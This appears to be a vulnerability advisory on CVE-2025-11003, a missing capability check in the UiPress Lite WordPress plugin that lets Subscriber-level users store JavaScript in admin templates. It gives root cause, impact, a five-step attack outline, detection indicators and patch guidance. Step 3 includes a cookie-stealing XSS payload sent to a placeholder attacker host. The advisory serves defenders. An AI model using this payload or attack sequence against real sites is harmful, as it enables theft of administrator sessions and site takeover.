CVE-2025-11003: 
WordPress vulnerability analysis and mitigation

CVE-2025-11003 is a missing authorization vulnerability in the UiPress Lite WordPress plugin ("Effortless custom dashboards, admin themes and pages") that allows authenticated attackers with Subscriber-level access or above to save UI templates containing arbitrary custom JavaScript. All versions up to and including 3.5.08 are affected. The vulnerability was disclosed on November 21, 2025, with the CVE assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, RedHat CVE).

The root cause is a missing capability check (CWE-862) on the uip_save_ui_template function, as evidenced in the plugin source at admin/classes/PostTypes/UiTemplates.php#L416 and admin/core/uiBuilder.php#L613. Because no privilege verification is performed before saving template data, any authenticated WordPress user — even a low-privileged Subscriber — can invoke this function via a network request and persist templates that embed custom JavaScript. This effectively enables stored cross-site scripting (XSS) through the template-saving mechanism, with the injected script potentially executing in the context of higher-privileged users (e.g., administrators) who view the affected dashboard (Wordfence, NVD).

Successful exploitation allows low-privileged authenticated users to inject and persist malicious JavaScript into WordPress admin dashboard templates, which executes in the browsers of higher-privileged users (such as administrators) who load those templates. This can lead to session token theft, unauthorized administrative actions, credential harvesting, or further site compromise — impacting both confidentiality and integrity. Availability is not directly affected, but a compromised admin session could enable full site takeover (Wordfence, RedHat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-11003 as of the available data. The EPSS score is approximately 0.025%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a valid WordPress account (Subscriber level or above), limiting the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running UiPress Lite version ≤ 3.5.08 (e.g., by checking plugin metadata via /wp-content/plugins/uipress-lite/readme.txt or using tools like WPScan).
2. Obtain low-privileged credentials: Register or obtain a Subscriber-level (or higher) WordPress account on the target site.
3. Craft malicious template save request: Authenticate to WordPress and send a crafted POST request to the endpoint that invokes uip_save_ui_template, including a template payload with embedded JavaScript (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>).
4. Persist the payload: Because no capability check is enforced, the server saves the malicious template to the database without restriction.
5. Trigger execution: Wait for an administrator or privileged user to load the affected dashboard template, causing the injected JavaScript to execute in their browser context — enabling session hijacking, credential theft, or further administrative actions (Wordfence, NVD).

• Logs: WordPress access logs showing POST requests to admin-ajax or REST API endpoints associated with uip_save_ui_template from low-privileged user accounts; repeated template-save actions from Subscriber-level users.
• Database: Unexpected or unfamiliar UiPress template entries in the WordPress database (wp_posts or custom UiPress tables) containing <script> tags or encoded JavaScript payloads.
• Network: Outbound requests from administrator browsers to unknown external domains shortly after loading the WordPress admin dashboard (indicative of XSS payload execution).
• File System: No direct file-system artifacts expected, as the payload is stored in the database; however, check for newly created or modified UiPress template records.

Users should update the UiPress Lite plugin to version 3.5.09 or later, which addresses the missing capability check on uip_save_ui_template. As an interim workaround, site administrators can restrict user registration or limit Subscriber-level accounts to trusted individuals only, reducing the attack surface. Web application firewalls (WAFs) with WordPress-aware rulesets (e.g., Wordfence) may help detect or block malicious template-save requests (Wordfence).

The vulnerability was discovered and reported by Wordfence, which published the advisory on November 21, 2025. No notable broader media coverage or significant community discussion has been identified beyond standard vulnerability database aggregation (Wordfence).